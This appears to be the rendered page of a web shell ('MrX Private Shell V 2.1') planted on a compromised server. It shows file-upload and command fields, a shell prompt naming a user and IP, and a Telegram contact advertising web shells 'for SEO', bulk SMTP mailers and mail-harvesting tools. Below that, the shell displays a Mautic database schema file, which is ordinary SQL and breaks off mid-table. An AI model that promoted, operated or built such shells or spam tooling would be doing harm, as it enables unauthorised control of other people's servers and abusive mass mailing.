__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

aptanhua@216.73.216.189: ~ $ 
SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO";
START TRANSACTION;
SET time_zone = "+00:00";


/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8mb4 */;

--
-- Database: `script_mautic_mariadb712`
--

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]assets`
--

CREATE TABLE `[[dbprefix]]assets` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `title` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `alias` varchar(191) DEFAULT NULL,
  `storage_location` varchar(191) DEFAULT NULL,
  `path` varchar(191) DEFAULT NULL,
  `remote_path` longtext DEFAULT NULL,
  `original_file_name` longtext DEFAULT NULL,
  `lang` varchar(191) NOT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `download_count` int(11) NOT NULL,
  `unique_download_count` int(11) NOT NULL,
  `revision` int(11) NOT NULL,
  `extension` varchar(191) DEFAULT NULL,
  `mime` varchar(191) DEFAULT NULL,
  `size` int(11) DEFAULT NULL,
  `disallow` tinyint(1) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]asset_downloads`
--

CREATE TABLE `[[dbprefix]]asset_downloads` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `asset_id` int(10) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `email_id` int(10) UNSIGNED DEFAULT NULL,
  `date_download` datetime NOT NULL,
  `code` int(11) NOT NULL,
  `referer` longtext DEFAULT NULL,
  `tracking_id` varchar(191) NOT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `utm_campaign` varchar(191) DEFAULT NULL,
  `utm_content` varchar(191) DEFAULT NULL,
  `utm_medium` varchar(191) DEFAULT NULL,
  `utm_source` varchar(191) DEFAULT NULL,
  `utm_term` varchar(191) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]asset_projects_xref`
--

CREATE TABLE `[[dbprefix]]asset_projects_xref` (
  `asset_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]audit_log`
--

CREATE TABLE `[[dbprefix]]audit_log` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `user_id` int(11) NOT NULL,
  `user_name` varchar(191) NOT NULL,
  `bundle` varchar(50) NOT NULL,
  `object` varchar(50) NOT NULL,
  `object_id` bigint(20) UNSIGNED NOT NULL,
  `action` varchar(50) NOT NULL,
  `details` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `date_added` datetime NOT NULL,
  `ip_address` varchar(45) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]bundle_grapesjsbuilder`
--

CREATE TABLE `[[dbprefix]]bundle_grapesjsbuilder` (
  `id` int(10) UNSIGNED NOT NULL,
  `email_id` int(10) UNSIGNED DEFAULT NULL,
  `custom_mjml` longtext DEFAULT NULL,
  `draft_custom_mjml` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]cache_items`
--

CREATE TABLE `[[dbprefix]]cache_items` (
  `item_id` varbinary(255) NOT NULL,
  `item_data` longblob NOT NULL,
  `item_lifetime` int(10) UNSIGNED DEFAULT NULL,
  `item_time` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaigns`
--

CREATE TABLE `[[dbprefix]]campaigns` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `republish_behavior` varchar(32) DEFAULT NULL,
  `canvas_settings` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `allow_restart` tinyint(1) NOT NULL,
  `deleted` datetime DEFAULT NULL,
  `version` int(10) UNSIGNED NOT NULL DEFAULT 1,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_events`
--

CREATE TABLE `[[dbprefix]]campaign_events` (
  `id` int(10) UNSIGNED NOT NULL,
  `redirect_event_id` int(10) UNSIGNED DEFAULT NULL,
  `campaign_id` int(10) UNSIGNED NOT NULL,
  `parent_id` int(10) UNSIGNED DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `type` varchar(50) NOT NULL,
  `event_type` varchar(50) NOT NULL,
  `event_order` int(11) NOT NULL,
  `properties` longtext NOT NULL COMMENT '(DC2Type:array)',
  `deleted` datetime DEFAULT NULL,
  `trigger_date` datetime DEFAULT NULL,
  `trigger_interval` int(11) DEFAULT NULL,
  `trigger_interval_unit` varchar(1) DEFAULT NULL,
  `trigger_hour` time DEFAULT NULL,
  `trigger_restricted_start_hour` time DEFAULT NULL,
  `trigger_restricted_stop_hour` time DEFAULT NULL,
  `trigger_restricted_dow` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `trigger_window` int(11) DEFAULT NULL,
  `trigger_mode` varchar(10) DEFAULT NULL,
  `decision_path` varchar(191) DEFAULT NULL,
  `temp_id` varchar(191) DEFAULT NULL,
  `channel` varchar(191) DEFAULT NULL,
  `channel_id` varchar(64) DEFAULT NULL,
  `failed_count` int(11) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_form_xref`
--

CREATE TABLE `[[dbprefix]]campaign_form_xref` (
  `campaign_id` int(10) UNSIGNED NOT NULL,
  `form_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_leadlist_xref`
--

CREATE TABLE `[[dbprefix]]campaign_leadlist_xref` (
  `campaign_id` int(10) UNSIGNED NOT NULL,
  `leadlist_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_leads`
--

CREATE TABLE `[[dbprefix]]campaign_leads` (
  `campaign_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `manually_removed` tinyint(1) NOT NULL,
  `manually_added` tinyint(1) NOT NULL,
  `date_last_exited` datetime DEFAULT NULL,
  `rotation` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_lead_event_failed_log`
--

CREATE TABLE `[[dbprefix]]campaign_lead_event_failed_log` (
  `log_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `reason` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_lead_event_log`
--

CREATE TABLE `[[dbprefix]]campaign_lead_event_log` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `event_id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `campaign_id` int(10) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `rotation` int(11) NOT NULL,
  `date_triggered` datetime DEFAULT NULL,
  `is_scheduled` tinyint(1) NOT NULL,
  `trigger_date` datetime DEFAULT NULL,
  `system_triggered` tinyint(1) NOT NULL,
  `metadata` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `channel` varchar(191) DEFAULT NULL,
  `channel_id` int(11) DEFAULT NULL,
  `non_action_path_taken` tinyint(1) DEFAULT NULL,
  `date_queued` datetime DEFAULT NULL,
  `version` int(10) UNSIGNED NOT NULL DEFAULT 1
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_projects_xref`
--

CREATE TABLE `[[dbprefix]]campaign_projects_xref` (
  `campaign_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]campaign_summary`
--

CREATE TABLE `[[dbprefix]]campaign_summary` (
  `id` int(10) UNSIGNED NOT NULL,
  `campaign_id` int(10) UNSIGNED DEFAULT NULL,
  `event_id` int(10) UNSIGNED NOT NULL,
  `date_triggered` datetime DEFAULT NULL COMMENT '(DC2Type:datetime_immutable)',
  `scheduled_count` int(11) NOT NULL,
  `triggered_count` int(11) NOT NULL,
  `non_action_path_taken_count` int(11) NOT NULL,
  `failed_count` int(11) NOT NULL,
  `log_counts_processed` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]categories`
--

CREATE TABLE `[[dbprefix]]categories` (
  `id` int(10) UNSIGNED NOT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `title` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `alias` varchar(191) NOT NULL,
  `color` varchar(7) DEFAULT NULL,
  `bundle` varchar(50) NOT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]channel_url_trackables`
--

CREATE TABLE `[[dbprefix]]channel_url_trackables` (
  `channel_id` int(11) NOT NULL,
  `redirect_id` bigint(20) UNSIGNED NOT NULL,
  `channel` varchar(191) NOT NULL,
  `hits` int(11) NOT NULL,
  `unique_hits` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]companies`
--

CREATE TABLE `[[dbprefix]]companies` (
  `id` int(11) NOT NULL,
  `owner_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `social_cache` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `score` int(11) DEFAULT NULL,
  `companyemail` varchar(191) DEFAULT NULL,
  `companyaddress1` varchar(191) DEFAULT NULL,
  `companyaddress2` varchar(191) DEFAULT NULL,
  `companyphone` varchar(191) DEFAULT NULL,
  `companycity` varchar(191) DEFAULT NULL,
  `companystate` varchar(191) DEFAULT NULL,
  `companyzipcode` varchar(191) DEFAULT NULL,
  `companycountry` varchar(191) DEFAULT NULL,
  `companyname` varchar(191) DEFAULT NULL,
  `companywebsite` varchar(191) DEFAULT NULL,
  `companyindustry` varchar(191) DEFAULT NULL,
  `companydescription` longtext DEFAULT NULL,
  `companynumber_of_employees` double DEFAULT NULL,
  `companyfax` varchar(191) DEFAULT NULL,
  `companyannual_revenue` double DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]companies_leads`
--

CREATE TABLE `[[dbprefix]]companies_leads` (
  `company_id` int(11) NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `is_primary` tinyint(1) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]company_projects_xref`
--

CREATE TABLE `[[dbprefix]]company_projects_xref` (
  `company_id` int(11) NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]contact_export_scheduler`
--

CREATE TABLE `[[dbprefix]]contact_export_scheduler` (
  `id` int(10) UNSIGNED NOT NULL,
  `user_id` int(10) UNSIGNED DEFAULT NULL,
  `scheduled_datetime` datetime NOT NULL COMMENT '(DC2Type:datetime_immutable)',
  `data` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]contact_merge_records`
--

CREATE TABLE `[[dbprefix]]contact_merge_records` (
  `id` int(11) NOT NULL,
  `contact_id` bigint(20) UNSIGNED NOT NULL,
  `date_added` datetime NOT NULL,
  `merged_id` int(11) NOT NULL,
  `name` varchar(191) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]dynamic_content`
--

CREATE TABLE `[[dbprefix]]dynamic_content` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `translation_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `variant_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `type` varchar(191) NOT NULL DEFAULT 'html',
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `sent_count` int(11) NOT NULL,
  `content` longtext DEFAULT NULL,
  `utm_tags` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin DEFAULT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`utm_tags`)),
  `lang` varchar(191) NOT NULL,
  `variant_settings` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `variant_start_date` datetime DEFAULT NULL,
  `filters` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `is_campaign_based` tinyint(1) NOT NULL DEFAULT 1,
  `slot_name` varchar(191) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]dynamic_content_lead_data`
--

CREATE TABLE `[[dbprefix]]dynamic_content_lead_data` (
  `id` int(10) UNSIGNED NOT NULL,
  `lead_id` bigint(20) UNSIGNED NOT NULL,
  `dynamic_content_id` int(10) UNSIGNED DEFAULT NULL,
  `date_added` datetime DEFAULT NULL,
  `slot` longtext NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]dynamic_content_projects_xref`
--

CREATE TABLE `[[dbprefix]]dynamic_content_projects_xref` (
  `dynamic_content_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]dynamic_content_stats`
--

CREATE TABLE `[[dbprefix]]dynamic_content_stats` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `dynamic_content_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `date_sent` datetime NOT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `tokens` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `sent_count` int(11) DEFAULT NULL,
  `last_sent` datetime DEFAULT NULL,
  `sent_details` longtext DEFAULT NULL COMMENT '(DC2Type:array)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]emails`
--

CREATE TABLE `[[dbprefix]]emails` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `translation_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `variant_parent_id` int(10) UNSIGNED DEFAULT NULL,
  `unsubscribeform_id` int(10) UNSIGNED DEFAULT NULL,
  `preference_center_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
  `name` varchar(191) NOT NULL,
  `description` longtext DEFAULT NULL,
  `subject` longtext DEFAULT NULL,
  `preheader_text` varchar(191) DEFAULT NULL,
  `from_address` varchar(191) DEFAULT NULL,
  `from_name` varchar(191) DEFAULT NULL,
  `reply_to_address` varchar(191) DEFAULT NULL,
  `bcc_address` varchar(191) DEFAULT NULL,
  `use_owner_as_mailer` tinyint(1) DEFAULT NULL,
  `template` varchar(191) DEFAULT NULL,
  `content` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `utm_tags` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `plain_text` longtext DEFAULT NULL,
  `custom_html` longtext DEFAULT NULL,
  `email_type` longtext DEFAULT NULL,
  `publish_up` datetime DEFAULT NULL,
  `publish_down` datetime DEFAULT NULL,
  `continue_sending` tinyint(1) NOT NULL DEFAULT 0,
  `read_count` int(11) NOT NULL,
  `sent_count` int(11) NOT NULL,
  `variant_sent_count` int(11) NOT NULL,
  `variant_read_count` int(11) NOT NULL,
  `revision` int(11) NOT NULL,
  `lang` varchar(191) NOT NULL,
  `variant_settings` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `variant_start_date` datetime DEFAULT NULL,
  `dynamic_content` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `headers` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL COMMENT '(DC2Type:json)' CHECK (json_valid(`headers`)),
  `public_preview` tinyint(1) DEFAULT NULL,
  `uuid` char(36) DEFAULT NULL COMMENT '(DC2Type:guid)',
  `version` int(10) UNSIGNED NOT NULL DEFAULT 1
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]emails_draft`
--

CREATE TABLE `[[dbprefix]]emails_draft` (
  `id` int(10) UNSIGNED NOT NULL,
  `email_id` int(10) UNSIGNED NOT NULL,
  `html` longtext DEFAULT NULL,
  `template` varchar(191) DEFAULT NULL,
  `public_preview` tinyint(1) NOT NULL DEFAULT 1
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_assets_xref`
--

CREATE TABLE `[[dbprefix]]email_assets_xref` (
  `email_id` int(10) UNSIGNED NOT NULL,
  `asset_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_copies`
--

CREATE TABLE `[[dbprefix]]email_copies` (
  `id` varchar(32) NOT NULL,
  `date_created` datetime NOT NULL,
  `body` longtext DEFAULT NULL,
  `body_text` longtext DEFAULT NULL,
  `subject` longtext DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_list_excluded`
--

CREATE TABLE `[[dbprefix]]email_list_excluded` (
  `email_id` int(10) UNSIGNED NOT NULL,
  `leadlist_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_list_xref`
--

CREATE TABLE `[[dbprefix]]email_list_xref` (
  `email_id` int(10) UNSIGNED NOT NULL,
  `leadlist_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_projects_xref`
--

CREATE TABLE `[[dbprefix]]email_projects_xref` (
  `email_id` int(10) UNSIGNED NOT NULL,
  `project_id` int(10) UNSIGNED NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_stats`
--

CREATE TABLE `[[dbprefix]]email_stats` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `email_id` int(10) UNSIGNED DEFAULT NULL,
  `lead_id` bigint(20) UNSIGNED DEFAULT NULL,
  `list_id` int(10) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `copy_id` varchar(32) DEFAULT NULL,
  `email_address` varchar(191) NOT NULL,
  `date_sent` datetime NOT NULL,
  `is_read` tinyint(1) NOT NULL,
  `is_failed` tinyint(1) NOT NULL,
  `viewed_in_browser` tinyint(1) NOT NULL,
  `date_read` datetime DEFAULT NULL,
  `tracking_hash` varchar(191) DEFAULT NULL,
  `retry_count` int(11) DEFAULT NULL,
  `source` varchar(191) DEFAULT NULL,
  `source_id` int(11) DEFAULT NULL,
  `tokens` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `open_count` int(11) DEFAULT NULL,
  `last_opened` datetime DEFAULT NULL,
  `open_details` longtext DEFAULT NULL COMMENT '(DC2Type:array)',
  `generated_sent_date` date GENERATED ALWAYS AS (concat(year(`date_sent`),'-',lpad(month(`date_sent`),2,'0'),'-',lpad(dayofmonth(`date_sent`),2,'0'))) VIRTUAL COMMENT '(DC2Type:generated)'
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_stats_devices`
--

CREATE TABLE `[[dbprefix]]email_stats_devices` (
  `id` bigint(20) UNSIGNED NOT NULL,
  `device_id` bigint(20) UNSIGNED DEFAULT NULL,
  `stat_id` bigint(20) UNSIGNED DEFAULT NULL,
  `ip_id` int(10) UNSIGNED DEFAULT NULL,
  `date_opened` datetime NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]email_stat_replies`
--

CREATE TABLE `[[dbprefix]]email_stat_replies` (
  `id` char(36) NOT NULL COMMENT '(DC2Type:guid)',
  `stat_id` bigint(20) UNSIGNED NOT NULL,
  `date_replied` datetime NOT NULL,
  `message_id` varchar(191) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci ROW_FORMAT=DYNAMIC;

-- --------------------------------------------------------

--
-- Table structure for table `[[dbprefix]]focus`
--

CREATE TABLE `[[dbprefix]]focus` (
  `id` int(10) UNSIGNED NOT NULL,
  `category_id` int(10) UNSIGNED DEFAULT NULL,
  `is_published` tinyint(1) NOT NULL,
  `date_added` datetime DEFAULT NULL,
  `created_by` int(11) DEFAULT NULL,
  `created_by_user` varchar(191) DEFAULT NULL,
  `date_modified` datetime DEFAULT NULL,
  `modified_by` int(11) DEFAULT NULL,
  `modified_by_user` varchar(191) DEFAULT NULL,
  `checked_out` datetime DEFAULT NULL,
  `checked_out_by` int(11) DEFAULT NULL,
  `checked_out_by_user` varchar(191) DEFAULT NULL,
